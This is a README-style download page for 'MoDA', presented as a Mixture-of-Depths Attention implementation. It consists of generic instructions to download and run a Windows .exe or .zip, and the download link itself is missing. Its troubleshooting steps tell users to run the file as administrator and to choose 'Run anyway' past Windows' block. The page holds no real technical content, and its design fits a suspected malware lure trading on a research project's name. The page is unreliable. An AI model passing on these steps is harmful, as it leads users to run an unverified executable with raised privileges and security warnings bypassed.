MoDA is a hardware-aware implementation of Mixture-of-Depths Attention. It is built to run attention-heavy workloads with lower load on your system.
Use it when you want:
- Faster local runs on supported Windows PCs
- Better use of CPU and GPU resources
- A simple way to test attention-based models
- A setup that works well on common desktop hardware
Use this link to visit the project page and download MoDA:
On the project page, look for:
- The latest release
- A Windows file, such as
.exeor.zip - The file that matches your PC
MoDA is meant for standard Windows computers. For best results, use:
- Windows 10 or Windows 11
- 64-bit processor
- 8 GB RAM or more
- 2 GB free disk space
- A modern GPU if you want better performance
- Internet access for the first download
If your PC is older, MoDA can still run, but speed may be lower.
Follow these steps on Windows:
- Open the download link above.
- Download the Windows file from the GitHub page.
- If the file is a
.zip, right-click it and choose Extract All. - Open the extracted folder.
- If you see an
.exefile, double-click it to start the app. - If Windows asks for permission, choose Yes.
- Wait for the app to open.
If the project uses an installer, run the installer file and follow the on-screen steps.
After you open MoDA for the first time:
- Let the app finish loading.
- Check that the main window appears.
- Review the default settings.
- Start with the standard mode before changing advanced options.
- Run a small test task first.
This helps you confirm that the app works on your machine.
MoDA is designed to keep setup simple.
Typical use looks like this:
- Open the app
- Choose your input or model
- Pick a run mode
- Start the process
- Watch the progress view
If you are unsure which option to use, keep the default settings. They are a good choice for most users.
MoDA includes practical features for local attention workloads:
- Hardware-aware execution
- Efficient Mixture-of-Depths Attention support
- Windows-friendly run flow
- Lower wasted compute on supported devices
- Clear progress feedback
- Simple setup for end users
- Better fit for desktop use than heavy server tools
If MoDA does not open or run, try these steps:
- Make sure the file finished downloading
- Extract the zip file before opening it
- Right-click the app and choose Run as administrator
- Check that Windows did not block the file
- Choose More info if needed
- Then choose Run anyway if you trust the source
- Use the GitHub link above to verify you downloaded the correct file
- Restart your PC
- Try opening the app again
- Make sure your system meets the basic requirements
- Remove and download the file again if it looks incomplete
- Close other apps
- Use the default settings first
- Update your GPU driver
- Free up disk space
- Try again after a reboot
To get the latest version of MoDA:
- Visit the GitHub page again.
- Check for a newer release.
- Download the latest Windows file.
- Replace your old copy if needed.
This helps you stay on the current build with the latest fixes and changes.
Keep these tips in mind when you use the download:
- Save the file in a folder you can find later
- Do not move files while the app is running
- If you use a zip file, extract it before opening
- Keep the app and its files together in one folder
- Rename folders only after the app is closed
Before you run any downloaded app:
- Make sure the link points to the official GitHub page
- Check that the file name matches the release you chose
- Avoid opening files from unknown sources
- Use your normal Windows security tools
A simple Windows setup may look like this:
- Open the GitHub link.
- Download the MoDA release file.
- Extract the zip file.
- Open the MoDA folder.
- Double-click the app.
- Use the default settings.
- Run a small test job.
Primary download page:
These terms may appear in the app or on the download page:
- Release: A ready-to-download version of the app
- Zip file: A packed folder that you must extract
- Executable file: A file that starts the app, often ending in
.exe - GPU: The part of your PC that helps with graphics and compute work
- Driver: Software that helps Windows work with your hardware